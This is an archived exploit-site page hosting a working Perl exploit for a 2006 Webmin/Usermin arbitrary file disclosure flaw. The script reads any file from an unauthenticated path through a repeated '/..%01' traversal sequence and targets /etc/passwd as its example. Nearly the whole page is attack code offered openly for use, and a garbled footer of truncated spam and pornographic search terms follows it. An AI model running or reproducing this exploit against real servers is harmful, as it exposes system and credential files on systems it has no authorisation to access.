about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , Webmin / Usermin Arbitrary File Disclosure Vulnerability Perl




2006-07-15 Webmin / Usermin Arbitrary File Disclosure Vulnerability Perl
Rated as : Critical Risk
#!/usr/bin/perl
#		Exploit for WEBMIN and USERMIN  less than 1.29x           
#		ARBITARY REMOTE FILE DISCLOSURE
#		WORKS FOR HTTP AND HTTPS (NOW) 		
#		Thrusday 13th  July 2006
#		Vulnerability Disclosure at securitydot.net
#		Coded by UmZ! umz32.dll@gmail.com
#		
#	
#
#		Make sure you have LWP before using this exploit.
#		USE IT AT YOUR OWN RISK
#
#		GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru...
etc........................
#		for other.. like AHMED n FAIZ ... (GET A LIFE MAN).



#		Revised on Friday 14th July 2006
use LWP::Simple;
use LWP::UserAgent;
my $userag = LWP::UserAgent->new;
  
if (@ARGV < 4) { 
                    print("Usage: $0 <url> <port>
<filename> <target> \n"); 
                    print("TARGETS are\n ");
		    print("0  - > HTTP \n");
		    print(" 1  - > HTTPS\n");
		    print("Define full path with file name \n");
		    print("Example: ./webmin.pl blah.com 10000
/etc/passwd\n");
		    exit(1); 
                    } 

                    ($target, $port,$filename, $tar) = @ARGV;

		print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n");
		print("Comments and Suggestions are welcome at umz32.dll [at]
gmail.com\n");
		print("Vulnerability disclose at securitydot.net\nI am just coding
it in perl 'cuz I hate PHP!\n");
		print("Attacking $target on port $port!\n");
		print("FILENAME:  $filename\n");
		

		$temp="/..%01" x 40;
		
		if ($tar == '0')
			{ my $url= "http://". $target. ":" . $port
."/unauthenticated/".$temp . $filename;
			$content=get $url;

			print("\n FILE CONTENT STARTED");
			print("\n -----------------------------------\n");

			print("$content");
			print("\n -------------------------------------\n");
 			}

		
		elsif ($tar == '1')
			 {
			my $url= "https://". $target. ":" . $port
."/unauthenticated/".$temp . $filename;
			my $req = HTTP::Request->new(GET => $url);
			my $res = $userag->request($req);
  			if ($res->is_success) {
   			   	print("FILE CONTENT STARTED\n");
				print("-------------------------------------------\n");
				print $res->as_string;
  				print("-------------------------------------------\n");
						}
  			else {
      			print "Failed: ", $res->status_line,
"\n";
  			     }
			}

securitydot.net - 2006-07-15

Advertising

Copyright 2007, SecurityDot
Sat, 21 Nov 2009 14:32:46 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
3gpsexmovi Www.Cuteba adobe acro www.fozpor news+for+c www.snmove wrappers 3gp klip b GET /u t577t CMSisFreeS SMF 1.1 www.18.to1 3D+toon+se WAP TRICK. news for c cd key nee www.d52upa vidiossex gamecp www.u88hao www.hebzyp zoospunk 2.0.51 AdWare 200 Wwwsxskom open ssh 3 www.ysjyzh PHPNuke 8. 89.c0m vid gbook.php3 89.c0m vid 013462428 89.c0m vid SSH-1.99-O wemen sex /search/ex 89.c0m vid 89.c0m vid 39meirong. erin brown 89.c0m vid wwwsexphot linuyx exp 200 /compo 89.c0m vid qflood Hooly wood wg302 382sumcity